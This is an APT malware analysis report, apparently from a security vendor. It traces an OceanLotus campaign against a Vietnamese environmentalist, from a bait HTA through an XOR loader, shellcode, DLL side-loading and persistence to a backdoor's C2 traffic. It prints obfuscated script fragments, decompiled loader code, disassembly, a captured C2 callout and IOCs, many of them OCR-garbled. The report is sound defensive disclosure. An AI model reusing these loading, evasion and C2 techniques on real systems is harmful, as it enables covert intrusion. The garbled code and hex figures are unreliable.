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The OceanLotus, an APT group said to have a Vietnamese background, was first
exposed and named by SkyEye Labs (the predecessor of the RedDrip team of QiAnXin
Threat Intelligence Center) in May 2015. Its attack activities can be traced back to April
2012 with initial targets including Chinese maritime institutions, maritime construction,
scientific research institutes and shipping enterprises. Their targets expanded to almost
all important organizations afterwards and related activities are still active now.

The RedDrip Team (@RedDrip7) keeps a close eye on activities made by OceanLotus.
Last month we released an in-depth analysis report: OceanLotus’ Attacks to Indochinese
Peninsula: Evolution of Targets, Techniques and Procedure. Currently we capture
another attack incident targeting a Vietnamese environmentalist with new malware
payload and hope the revealed details could lead to more findings in the future.

Bait Analysis

The bait sample is a zip archive in Vietnamese: Thong tin vé chuyén dé méi
trud'ng_Nho anh Bang Vi Luong tu van thém.zip

From the contents of the compressed package, the three pictures named in Viethamese
meaning "illustration" respectively show that there is garbage in the rivers in Vietnam,
the factories are exhausting smoke everywhere, and the stinking ditch is all garbage. All
these pictures make people feel disgusting. At the same time, it shows the importance of
mandatory waste classification.

» Théng tin v& chuyén d& méi trudng_Nhd anh Biing VG Lugng tu vin thém

Minh hoa 1jpeg Minh Hoa 2jpeg

Thumbs.db Van nan moi truong Viet Nam hien
nay va giai phap khac phuc hau
qua_Phuong huang trong thoi gian
toi hta

In addition to the picture, the main attack sample is an hta script named as Van nan moi
truong Viet Nam hien nay va giai phap khac phuc hau qua_Phuong huong trong thoi
gian toi.
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It can be seen that both the bait name from the compressed package and the bait name
as the attack sample are consistent with the scene of attacking the person in charge of
the environmental protection organization.

Therefore, we will characterize this attack as: Oceanlotus attacked the head of an
environmental protection organization in Vietham.

Sample Analysis
Execution process of the sample used by OceanLotus this time is roughly as follows:
1. The hta sample decrypts and loads subsequent additional data.

2. Utilize DLL Side-Loading to take advantage of adobe reader to load the payload
and then connects to the C2.

Payload Analysis

The hta script has been obfuscated and will replace ",", ".", " " with "+", "/", "=" first:

]

2 Ccheur:

e

Figure 2.1 The confused hta script

The script is generated by using the cactusTorch framework
(https://github.com/mdsecactivebreach/CACTUSTORCH), which first decrypts the
Loader module, then decrypts the attached data through the Loader module, and finally
executes the decrypted shellcode in memory:

Set DotwhanZanCemChum  =QUAnggHut  (  “WScript.Shell")
DothhanZanCenChum.RegRead “HKLM\SOFTWARE\Microsoft\.NETFramework\"+ Hang + "\"
iF ERR.nuMber <> @ ThEN exIT FUnCTIOn

sEt TitChod = DotWhanZamCemChum.Environment ("Process” )
TitChod ( “COMPLUS Version" ) = Hang

214 SEt Did  =qUAnGGhuT ( Ded )
Set ing =

( "System.Collections.Arraylist” )

216 QuusQy gQuangQuing.Add Did. 2 lector

217

218

219 SosMoc = CasQuenYicSew ( GhedXemQuacGhim)

220 sEt QuusYiw = Did.Deserialize 2 (NingGhac ( SosMoc,LicFungMoc- 57489 ,Ghang -51313 , SisPuphuplleng) )
221 | sET  MWinShusWenTun = QuusYiw.DynamicInvoke (QuusQuanghungQuangQuing.ToArray ( ) ).CreateInstance
222 Ghew = H’lnShusMenTu( 1632689155 ,, 194 , 1292962 )

223 wINDow. close

224 DO wHILE ( tRUE)

225 looP

226 enD  funCtION

Figure 2.2 Loading Loader in Memory
The parameters passed to the Loader's "X" function are as follows:

WinShusWenTun.X ( 1632689155 ,31529 ,194,1292962 )

The meaning of each parameter is as follows:
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Name

Parame-
ter 1

Parame-
ter 2

Parame-
ter 3

Parame-
ter4

Value

163268915
0x6150DC03)

31529

194

1292962

The position at the end of the script, which points to the
appended data.

The length of the name of the released docx file

A ZAE BUME IR

Description

4-byte key, just use the first 3 bytes (0x03, Oxdc, 0x50)

Size of the appended data

The second parameter is the beginning of the appended data:

Uuud141e Y A

00031328 | 41 41
00031344 43 52
00031360 | 0& 20
00031376 | 70 57
00031332 | 30 33
00031408 20 20
00031424 | 35 20
00031440 | 20 OD
00031456 | 70 57
00031472 | 37 32
00031488 | 20 20
00031504 | 20 35
ooda1520 173 63
00031536 75 ZE
00031552  4E 4F
00031568 45 76
00031584 48 59
00031600 | 6F 4F
00031616 | 54 45
00031632 | 2C 30
00031648  6F 56
00031664 69 58
00031680 | 39 30
00031636 | 4C 73
00031712 | 37 34
00031728 | 49 39
00031744 39 78
00031760 6D 78
00031776 | 75 68
00031722 | 46 70
00031608 63 33
00031824 | 51 70
00031840 | 4F 4F
00031856 | 5& 70
00031872  4F 4F
00031888 56 70
00031904 51 41

ZU

2U G

42
41

Figure 2.3 Append data behind the hta file

Loader Analysis

The decrypted Loader module is named L.dll. The function of the dll is mainly to decrypt

and load the appended data behind the hta:
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Figure 2.4 Some functions of Loader

The X function is mainly to encrypt and load the shellcode; the decoding algorithm is
base64 and then performs XOR decryption with the key in single byte, and the key is
passed by the parameter:

Figure 2.5 X function of L.dlI
The key here is 1632689155 (0x6150DC03). From the algorithm, only the first 3 bytes
(0x083, Oxdc, 0x50) are used in while performing XOR decryption:

1 < buf.

mm = {int) (buf [1
buf[i] = | J (ruam &

Figure 2.6 L.dll decryption function
Then the decrypted data is executed in memory:
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mm = b
(rum

nuamt+

ptr

Figure 2.7 function B of L.dll
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The function of the shellcode executed by Loader is mainly to release the file and

achieve persistence. As can be seen from the code features, OceanLotus often uses the

shellcode to perform attacks.

Seghae:eal39a2E
segBBd:e8l39832
seglBa:epl39e33
Seghae: eali9e34
SegRae;eal3oaesv
segBBd:eBl39838
SeglBe:eel3983A
Seghae:eal139a3C
seghae; ealiseds
segBBd:e8l39841
Seglae:eal30a42
Seghae:eal39e43
SegRae;eal3oe4s
segBBd:eel39847
Seglaa:eal39a4C
Seghae:eal139a51
Segpae;eal139aes3
segBBd:e8l39855
Seglae:eal30as57y
Seghae: pal39a56
SegRae: eal39as5F
segBBd:eBl39862
Seglad:eal30e63
Seghae: eal3ise6d
SegbBe;eali0ess
segBBd:eBl39867
Seglaa:eal30e69
Seghae: eal3i9e6a
segbae;ealioesC
seglBd: aal39860D
Seglae:eal30a7l
Segeae:eal3oaev2
Segbae;ealineys
segBBd:e8l39879
Seghaa:eal3oerD
seghae:eal39avE
Segbae;eali0es2
segBBd: 88139883
Seghaa: ealioesd
seghae: eal39e88
Seglae;eali0esC
segbB:eB13988F
Seghad:eal30a9l
segeae:eal3oesy
seghBe;eal30e9D

lea
pushf
push
shl
push
inc
or
shl
push
aaa
push
cwd
cwd
mov
mov
mul
neg
bswap
mov
mov
mul
stc
sahf
push
chw
bswap
inc
or
cdg
mov
das
mov
mov
mov
aas
mov
push
popt
mov
lea
mov
mov
sub
mov
push

esp, [esp-4]

ecx
ecx, 3
ebx

bh

eCx, BCX
cx, B
eax

edx

eax,
ecx,

ecx

al

ebx

ax, 3 'Lt
X,
X

ecx

edx
edx
dh, dl

edx, [esp+iCh+var_18]

bx, cx
ebx, [esp+lCh+var_l@]
ecx, [esp+lCh+var (]

eax, [esp+lCh+var_3]
eax

eax, [esp+lCh+var_14]
esp, [esp+lsh]
[esp+a+var_4], ebp
ebp, esp

esp, 7E8h

eax, Ts:dword_3@

ebx

Figure 2.8 Shellcode frequently used by OceanlLotus

After shellcode is loaded in memory, it will load the dll file in memory after execution.
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Figure 2.9 Loading DIl into memory by shellcode
Subsequently released files are stored in the resource, and the PE file to be released is
extracted from the resource data through RtIDecompressBuffer:

= GetModuleHandleW(L"ntd11.d11");

if (! )
1@ return @;
11 if ( !&fun_RtlGetCompressionWorkSpaceSize )
12 return @;
13 fun_RtlGetCompressionWorkSpaceSize = @;
14 = GetProcAddress(ve, "RtlGetCompressionuorkSpaceSize™);
15| if (! )
1 return @;
1 fun_RtlGetCompressionWorkSpaceSize = (int)va;
18 if ( !&Ffun_RtlCompressBuffer )
19 return @;
2

2 fun_RtlCompressBuffer = @;

21 = GetProcAddress(v@, "RtlCompressBuffer™);
220 if (! )

23 return @;

24| fun_RtlCompressBuffer = (int)v3;
25/ if ( !&fun_RtlDecompressBuffer )
return @;
fun_RtlDecompressBuffer = @;
= GetProcAddress(ve, "RtlDecompressBuffer™);
if (! )
return @;
fun_RtlDecompressBuffer = (int (__stdcall _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v4;
return 1;

Figure 2.10 Get the address of the decompression API
The resource names are 0x65 and 0x66. As shown in the figure, if the 0x65 resource
does not exist, it will get 0x66 resource instead.

ed int )fun_neme;curcenatai(axnmgu) (LPCWSTR)BXES, (HMODULE)off_B8C3FA@, (LPCUSTR)@x328, (int)&va);

int )FuniﬁetRescu':eDat‘%(9x499u, (LPCHSTR)@XE6, v5, (LPCWSTR)@x320, (int)&va);

if (va)
LOBYTE(v4) = sub_8B1B1@(vE, vo, (int)vd, va);

return (char)v4;
35}
Figure 2.11 Obtaining resource data
The obtained resource data is as follows, including the file name, file size, and
compressed data:

Figure 2.12 Raw data in the resource
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Then get the exe and dll file names in system32, Program File and Windows directory,
insert them into the array, then randomly generate a random number, randomly select a
file in the array, get the file name and file description of the file as the name of the
dropped exe file and related folder name respectively:

vil o= 8;

1 sub_8B2718(L"*.exe”, &Stringl, @, 1, &las .dwlLowDateTime);// Get the exe name in the system32 directory
sub_8B2718(L"*.d11 0, 1, & .dwlowDateTime);// Get the d11 name in the system32 directory
ExpandEnvironme rogramfilesk 1, @x164u);
if ( !PathFilet 21) )

&Buffer);

1strepyl(&:
A

PathAppendi(&:

1, L"Program Files");

ingl, &5tringl);
dwLowDateTime = 8;
dwHighDateTime = 8;

37) = 13
5| sub_sB271@(e, &Stringl, 1, @, &LastA
sub_8B2718(8, &Buffer, 1, @, &lastic

ime.dwlowDateTime);// Get the file name in the program files directory
me.dwLowDateTime);// Get the file name in the Windows directory

if?

-
X ((_mi2s
& = (char *)FindF

ta.ftCreationTime, @, @x24Cu);
1, &FindFileData);

= FindNextFileW(v7, & indFileData) )
wFileAttributes & @x10;
= ox10 || =4 && v != ox10) 8& FindFileData.cFileName[@] != '." ) Ime) / 28));

FindFileData.cFileName);

20( (unsigned int)&pszPath, &v12, weslen(&pszPath));

B3000( (unsigned int)&v12, a5);
-1

if ( vid =8 )
sub_BBS11B(v12);

Figure 2.13 Get the file name of the specified directory

If rasman.dll is randomly selected, it will get the file description as the name of the folder
where the malicious code was released. Here is the Create Remote Access Connection
Manger folder for placing malicious code.
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© rasmandll BtE =
EERENE I

Bt 1B
ki

:"T‘I#].HEH Eemote Access Conmection Manager

£l FREFT R

Arass

G. 1. TBOO, 16335

F%E’.ﬁ? Microsoft® Windows® Operating System
bR B 1. TROD. 18385

gy @ Microsoft Corporation. ALl righ. ..
o 75.0 KB

fZpiEER  2009/7/14 9:16

] g EE)

Eigsri%s Rasman. d11

[ &= [ ®mE || AW

Figure 2.14 File description of rasman.dll
If the File Description field of the selected file is empty, this will use the default folder
name "NLS_000001":

1/bool _ usercall fun Dropperfi<al>(WCHAR *alficedx», FILETIME *a2@i<ecx>, int a3, int a4, LPCWSTR pHore, LPWSTR pszPath)

signed int v6; // cbx
int v7; // eax

int vie; // [esp+lsh
FILETIME *v11; // [e
WCHAR String2; // [e
char v13; // [esp+22h]

String2 = @;
sub_8B9Ce8((  mlz8i *)&13, 8, Bx7Eu);
Pathappendil(ps e)s

if ( PathFileExistsW(pszPath) )

Pathappehdi(pszPath, L"NLS_");3
o = 1

1strleni(pszPath);
7] = 8;

sub_8810@0((const cha
1streatu(pszPath,
while ( PathFileEx
{

+vb;

sleep(lu);

pszPath[vie] = @;

sub_8B10@8( (const char *)L"¥861u", v6);

1strcati(pszPath, &String2);

}

}
return sub_884358(a3, vil,

pszPath, a4, vo) I= @;

Figure 2.15 handling the case when the field is empty

In the following 2 folders ("Program Files", "%appdata%"), it creates a subdirectory (the
name is a randomly selected "file description" content). If there is no permission to
create a directory under "Program Files", it will be under %appdata%":
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]

E‘athSt'ipPath.-.‘( pMore);
PathRemoveExtensionk(&pMore);
IstrcpyW(&Dst, &::5tringl);

& WO Ca

I
rdsH

if ( !fun_Dropper(&ptore, w28, v21, a4, &pszPath, &Dst) )

2

2

2

3

31

132) {

133 Ost = @8;

134 | ExpandEnvircnmentStringsW{L"%appdata®%”, &Dst, &xledu); |
135 if { !fun_Dropper{&ptore, v8, w21, at, &pszPath, &Dst) )
136

137 if (v24 =8 )

138 sub_8BS511B((void *)1pstring2);

139 Vi3 = B8;

148 wad = 7;

141 LOWORD( 1pString2) = @;

142 sub_8B227@(&Las essTime};

143 sub_8B2270(&LastlriteTime);

144 return @;

145 }

146, }

Figure 2.16 Creating a subdirectory

Then release the 10 files decrypted in the resource to the newly created directory; in our
case the released directory name is: "C:Program FilesRemote Access Connection
Manager", which is based on the description of the file randomly selected.

The name of the exe file is the name of the randomly selected file.

Rasman.db3 is the shellcode to be loaded.

C:\Program Files\Remote Access Connection Manager]

IEZER - HE - TR

&5 *h
|| ACEdIl 11,441 KB
[ AGM.dII 11,441 KB
AR = BIB.dI 11,441 KB
|2 CoolType.dil 11,441 KB
|| Microsoft.VC80.CRT.manifest 1KB
(% Msvepsodil 11,441 KB
|| MSVCR80.dIl 11,441 KB
| rasman.db3 910 KB
7 rasman.exe 2010/11/215:29  RFERE 246 KB

Figure 2.17 Released file
Then it will be written into the registry run item to achieve persistence.

At the same time, an empty docx file will be created under temp folder and then opened,
so that the victim thinks that it is a docx file:

Thong tin chi tiet nhung san pham can dat hang qua shop zero waste_Bao gia chi tiet
san pham.docx

2] Thong tin chi et nhung san pham can dat hang qua shop zero waste_Bao gia chi tiet san pham docx 2019/6/17 1814 Microsoft Word oks]

Figure 2.18 The created docx file
English translation of the file name: The details information about products need order
shop zero waste details price list

Dropper Analysis

The released rasman.exe is a legitimate file: Adobe 3D Utility:
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i |
Y rasman.exe Bi% ﬁ

B | mwk | s | Hewtw
= | EEER | ClEEwE
B g

gl

ST{HHAR Adebe 3D Utility

2RI BRER

TiHEE  1.0.0.1

et T o Adobe Acrobat
R 10,01

e [c) Adobe Swystemsz Inc. ALl right. ..
Fl 245 KR

{EirEA4R  =z010/11/21 5:29

(= ong (EE)

EET s ASDU+ility. exe

(= J[ BE || eAwW

L.

Figure 3.1 Version information of rasman.exe
Rasman.exe will load dlls in the same directory by default, including AGM.dlII, BIB.dII,
CoolType.dll and ACE.dIl, which could lead to DLL Side-Loading:

HES SHE 5% i
Aext MSVCRE0.dI
.rdata CoolType.dll E
.data AGM.dII
Jrsrc ACE.dIl
relac BIB.dIl

PSAPLDLL i

Figure 3.2 Import table information of rasman.exe

The code of the 4 dlls is the same, is the hijacked dll, will be loaded by rasman.exe
program by default. Although 4 dlls have the opportunity to execute dlimain, the only dll
that loads the next stage payload is CoolType.dll because the attacker designed a flag
variable to control whether the next stage payload needs to be loaded:

MD5 File Name Size flag Comment
9cab38ae- ACE.dIl 11441Kb Ox8F Loader filled with use-
b4ce87936b1a993ef8e285fa less data
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0a9d3fff-
f6083a015ab72117cba84fel

840c754098c473faff6fd22d-
db8163b7

a8ff3e6abe26c4ce72267154-
cab04ce3

e€84927bc7edbe-
f6af8daf8640d95325e

d7¢c72d9394dc6e519d-
bce21830eb37cb

f5220efbe14b98ac06bc2-
cadef5c0f23

321c4d24-
da35f39c4ab145b6¢cfcddal9
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AGM.dII

BIB.dll

rasman.db3

rasman.exe

CoolType.dll

MSVCP80.dll

MSVCR80.dll

11441Kb  Ox8F

11441Kb 0x6D

910Kb

246Kb

11441Kb  0x27

11441Kb

11441Kb

Loader filled with use-
less data

Loader filled with use-
less data

Shellcode file with
random name

Legitimate executable
with random name

Loader filled with use-
less data, load
shellcode

Library functions pop-
ulated with useless
data

Library functions pop-
ulated with useless
data

The code at the entrance of AGM.dII indicates the two if judgments will not enter,
because the value of flag is 0x8f, which is greater than the first two judgments, so the
subsequent payload will not be loaded:

a7XL UA9ITSbICFiYx1paBVaC jxqiA98HQOFThIEN", &String2);
oduleHandlei(0) ;
ixGATEX17CB93T, ITSHICFiYx1p: JXqIAIAHQOFThTEN" )
dBUAIITSbICFSYxlpaBUacixqL ", te)s
15X EVHXGWA7EX17¢ ITSbIC BVwaC jxq: F )

8)result[se];
ltra1)a1;
+21) » 1

JAGH_S_0;

flag > Ox64

+2)
BYTE +3) =215
DHORD “)(v5 + 4) = Sdword_10B29EC0;

Figure 3.3 DlIMain function of AGM.dlII

The code of the CoolType.dll code is 0x27, which is less than 0x46, so it will enter the

first if condition and execute fun_LoadExportFun:

5 if ( "eMQUSbhUVCPiyXAWn6XSVPCTa2haDIRMAZEVCDEr i ESEAAXYe

i ) "6riqdSbhUVCP iy

if ( <= (LPSTR)"SbhUVCRiyx

- (unsi intE)result[8]s
= *((_DwoRD 7 L) 81 t WCHAR ot .
- ) s ) » 1 i1 admqdsbhuvcpiyx db ' OHadSEhUVCPLyxXin6xSVPETa2haDIRMaz i vCDE FES GARKYGZLIATKapaTVEAL "
- + 112 t
dword_10829EC0 = (int)CoolType_4_0;
i (1) db *nasQjilzzINGzy",6 . -
LT e —— e R
B (1 <= oxas ) dfe— STigh &
{
fun_LoadExportFun((int)( +112), 3, 2);
1pString2 = ( J&ua[vz + 41;  // {4AS4D8SE-
return 5

T
if -
’E (v c= ox6d ) Junk code

if
{
“
“C
o EvcB
< 38 7H8C Ik oPATKE
. EH[RIBCILXDY
} N
' Mutex
! = gus[v3 + 4]; text UTF-16LE", *{4AB4DBSEZAGOC-4172-8696-C6FSDBSSB3CE)_",0
1pstring? = ( Java[vs + 4]

Figure 3.4 DlIMain function of CoolType.dll
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The function of fun_LoadExportFun is mainly to cover large code at the entrance of exe,
loop into the garbage code appearing in the configuration, the size is 0x20610 bytes,
then add the code 0xff, 0x15 at the end, and finally connect the address of the export
function of AGM_5, only In order to finally execute the code that loads the shellcode:

8| floldProtect = @;

9| if ( IvirtualProtect(a2, a3, @x48u, &F10ldProtect}) }
18 return 8;

11 7= @

12| if ( a3 )

13 {

14 do

15 i

16 vB = vi+ ¥ alj;

17 a2[v7 - 1] = *(_BYTE *)(v& + a4);

19 while ( v7 < a3 );

21

22

23

24 =8 ? @wCCu : @x98u;
25 = Bx98u;

26 =| BxFFu;

27 = Bx15;

28 F &addr_AGM_5_8;

29

38}

Figure 3.5 fun_LoadExportFun

When the program returns to the exe process space, it will jump back to the code range
covered by fun_LoadExportFun to continue running, and finally execute the AGM_5
function, mainly to avoid being traced back to the execution flow:

Of fset o1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 o
00000000 4B 40 48 93 FB 43 42 91 48 92 4B 48 52 53 90 92 KeHIeCE H'EHRS. -
0oooDole 40 S0 48 54 92 SA F8 40 40 52 SE 4B 51 5B 57 42 @PHI"Zep@ER[EQ[WE
00000032 48 42 4A 48 91 48 SA 41 50 SB S6 4B 42 F9 92 F9 HBJH'HZAP[VEBu'u
0poono4s 49 48 49 91 59 F& 52 58 50 4B 91 40 59 4B 90 F9 IHI “YeRXPK'@YK.d
00oo000&4 | 4A 92 43 43 F9 4A 4B 42 93 92 4A 43 48 4B 53 F8 J CCaJEBI’JCHESa
00000080 43 43 59 40 48 49 41 F9 FB 57 41 41 92 5A 44 90 CCYGHIAUeWAA ZJT.
00000096 43 93 4B 40 40 92 52 43 5A 92 51 58 F9 41 43 40 CIK@@ RCZ QXuACE
ooooD112 43 49 50 49 91 91 FB8 5B 91 40 41 53 48 58 48 91 CIPI” “w[ "@ASHXH"
00000128 48 56 40 40 F9 91 40 F9 41 S5A 48 42 43 F8 4A 4B HVERQ "@1AZHBCaJK
ooooD144  4A& 50 41 91 49 4B 91 59 4A F8 43 42 92 F9 90 F9 JPA'IE YJaCB u.i
00oo0160 49 F8 48 48 93 41 90 48 41 40 53 48 91 42 40 49 IeHHIA . HAGSH BRI
00oo00176 58 52 FB 92 49 91 FB 4A 93 40 90 92 90 F9 59 49 XRa I wJI@.  .u¥I
0ooo01s%2 92 57 42 4A 41 SB 43 49 54 90 92 40 48 5B 52 93 “WBJA[CIT. @H[RI
00000208 4B 43 90 58 58 SA 59 4B 40 48 93 Fo 43 42 91 48 RC.XZHZYKEHIwCB H
0ooonz224 92 4B 48 52 53 90 92 40 50 48 54 92 S5A FS 40 40 “KHRS.@FPHT Ze@@
00000240 52 SB 4B 51 5B 57 42 48 42 4A 40 91 48 SA 41 S0 R[KQ[WBHBJH'HZAP
42 F9 92 F9 49 46 49 91 59 F6 52 58 50 [VEBG GIHI “YeRXF
B 43 48 4B 53 F& 43 43 59 40 48 49 41 F9 17 JCHESeCCYRHIAL
o & 41 92 SA 4A 90 43 93 5 AT A0 T ik ey, 50 MUSh codes
00132544 | SA 92 51 56 F9 41 43 40 43 49 50 49 91 91 FO 5B Z7OX0ACECIPI  “m[
00132560 |91 40 41 53 48 58 48 91 48 56 40 40 F3 91 40 F9 “@ASHXH HV@E: @u
00132576 |41 SA 48 42 43 F3 4A 4B 4A 50 41 91 438 4B 91 59 AZHBECeJKJPATIK‘Y
00132592 | 4A F8 43 42 92 F9 90 F9 49 F8 48 48 93 41 90 48 JeCB u.uleHHIA.H
00132608 |41 40 53 48 91 42 40 49 58 52 FB 92 49 91 F8 44 AGSH EEIXRa I mJ

00132624 1@.7 . aYI "WBJA. .3
00132640 Alh....ol
D013 bdkz1618]
gy Ty 42 in d

4216 inc edx
0013 5021618/ | ua dec gdx
0013 gouzi61c| | 81 inc @
0013 60421610 | 90 nop
00130042161 nop

F15 COYEC102 | call  dword ptr [2C19ECE] | GoolType. 020F1100

DO01327 02 0o 00 U0 U0 UL UL UL U UL OO DU U0 DU U0 UL U0 | e e e e e e e

Figure 3.6 A lot of padding code

When AGM_5 is executed, it first hides all the child windows of the process, then reads
the file with the suffix of db3 (here rasman.db3) with the same file name in the same
directory, and finally performs execution:
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ni(Name) T3

2, &pcb 5 i & @xFFF; ++i )

=) )

i, 0x1000u, Bxdbu);

if (w3 1= (cha
CloseHandle(

Sleep(@x1388u);

return resul

7 = CreateThread(®, 8, (LPTHREAD START ROUT
N,
if (v7 )
{
WsitForSingleObjectEx(v7, OxFFFFFFFF, 8);
CloseHandle(va);
¥
S1Af (vl )
52| Virtualfree(vl, dwSize, @x4800u);

Figure 3.7 Loading shellcode for rasman.db3

The loaded shellcode is a variant of the Denis family used by OceanLotus:

I a, @, &Threadld);

& .. .bbbb| hEww0

Offset o1 2 3 4 5 6 7 3 9 10 11 12 13 14 15
oooooooo | ES 81 0A OE 00 FE FE FE  FE 7C 60 68 45 77 77 D3
0ooooole 3C A4 90 DS 84 92 1D AE BS 5D 71 Se CZ2 26 6C Z2F
0oooo032  FG &84 DD 3D Co EO DD 19 BY E9 87 A 78 CD 06 OF
oooooo4s  DE SC 2D 81 6D 91 10 91 76 C2 F1 FB 51 C8B 03 S5&
ooooooe4 D9 97 SB FC 83 56 CB 6F 2A DC 16 B85 E6 4A 41 DS
ooooo0so0 0B 21 07 93 60 AB 44 B2 BC 25 8B BB FA 1C 54 B3
00000096 E6 DFE Be EO E4 3B 4C 0OA 1D 66 6F 18 DE 58 E1 aC
00000112 45 E1 34 FA E9 1D Ce EE 8D 58 AF CF 10 30 B4 12
00ooo1zg 79 4D 1C 93 97 35 45 9C YE 18 BA Ce EE SA CC 56
0oooo144 61 FC 2B 07 CS5 BF BB FS CA E9 5A AS 1F 1IF 9B 76
000001e0  EC ED 49 F4 79 79 05 D7 3B 94 4D 75 D3 7C F7 08
00000176 06 BFE 94 DS CO 60 31 9C 65 45 DB 2A 94 93 61 67
ooooo192 74 EO 82 11 D& C2 0OE 1IF BA OE 00 B4 02 CD 21 BS
00000208 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D
00000224 20 63 61 BE BE 6F 74 20 B2 65 20 72 75 BE 20 69
00000240 6E 20 44 4F 53 20 6D ©F 64 65 ZE 0D 0OD 0OA 24 00
0ooooZ2s6 00 00 OO 0O 0O 00 F6 4F A7 E3 B2 2E C9 BO B2 ZE
oooooz72  C9 BO B2 2E C9 BO BE 56 4A BO B3 2E (92 BO DD 58
0oooo2zss 62 BO B7 2E C9 BO A9 E3 57 BO A7 2E C9 BO A9 B3
00000304 63 BO CF 2E C9 BO BB 56 SA BO BF 2E C2 BO B2 ZE
00000320 C8 BO 2C 2E C9 BO AS B3 62 BO E2 2E C9 BO A9 B3
00000336 52 BO B3 2E C9 BO A9 B3 54 BO B3 2E C9 BO 52 69
00000352 63 68 B2 2E C% BO OO0 00 OO 00 0O 0O 0O 0O OO OO
00o0oo3es 00 00 OO 0O 0O 00 OO0 OO0 OO0 o0 00 00 00 00 55 3F

Figure 3.8 Contents of rasman.db3

Then it connects to udt.sophiahoule.com and establish C2 communication, which

eventually causes the computer to be controlled:

TE, @17 .8 ]qVASLS
alV=Eav. el xl..
E-mt . twhgiQE . @
U [ii 1VEa*i]. leJh
L&D LT
=nMas ;L. . fo.EXal
Ea:ua.B1.xX 1.0,
vM.LISEL™ . 2EiZ1V
aii+. AirBEezE.  Iv
11Tayy.x: IMud | .
LAN0E 11eEU*11ag
tal.@h..o.. .11,
.LIIThis program
cannot be run 1
n DOS mode....S.
...... 50552 . E°2,
E°2 E°»VI®s E°TH
b E°@3Wes E*@3
el E*»VZoe . E°2,
E®, . E°@%h°4 . E°03%
R®9.E°@3T°3 E°Ri

POST /13/181916-Evuy-Buop-Edaam-Lait-Kh HTTP/1.1
Host: udt.sophiahoule.com

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.8; Trident/4.8)

Accept: =/*
Accept-Encoding: deflate, gzip

Referer: http://udt.sophiahoule.com/13/181916-Evuy-Buop-Edaam-Lait-Kh

Content-Length: 53
Content-Type: application/x-www-form-urlencoded

@ T E.=" it

LIl4L L 7 e, jp. 2 Kel 6. HTTR/1.1 268 0K

Server: Apache/2.4.9

Set-Cookie: PHPSESSID=C2M7H67LWWNUASGP7BDHDFLONFY3G;

Connection: close

Figure 3.9 Captured network packets
The characteristics of this malicious code:

1. Insert the encrypted data to the end of the hta script to avoid the existence of

multiple files.

2. The released files are randomly named according to the file name and file
description selected from the compromised computer, so as to avoid being easily

acquired in forensics.
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3. Only select one of the dll files while performing DLL Side-Loading, and fill the exe
entry point with junk code and then do a jump operation to avoid stack traceback.

4. Enlarge the file size to avoid being uploaded automatically.

Conclusion

The OceanLotus reflects a very strong confrontational ability and willing to attack by
keep evolving their techniques, including approaches to deliver bait documents, changes
of the payloads, measures in circumvention, as well as domain assets, no matter the
target is domestic or overseas. Due to the transnational nature of most APT groups, it is
difficult to eliminate threats from the root cause. Therefore, tracking these APT attacks
and adopting confrontation measures will exist for a long time. All we can do is to
continuously improve our own discovery and containment capabilities, then will be able
to overwhelming opponents technically.

At present, all QiAnXin products can protect users from this new attack carried out by
OceanlLotus.

10C

Bait Document
0dd468ee3a4ec0f6{84473bd8428a1e1
Loader
b28c80ca9a3b7deb09b275af1076eb55
C2

udt.sophiahoule.com
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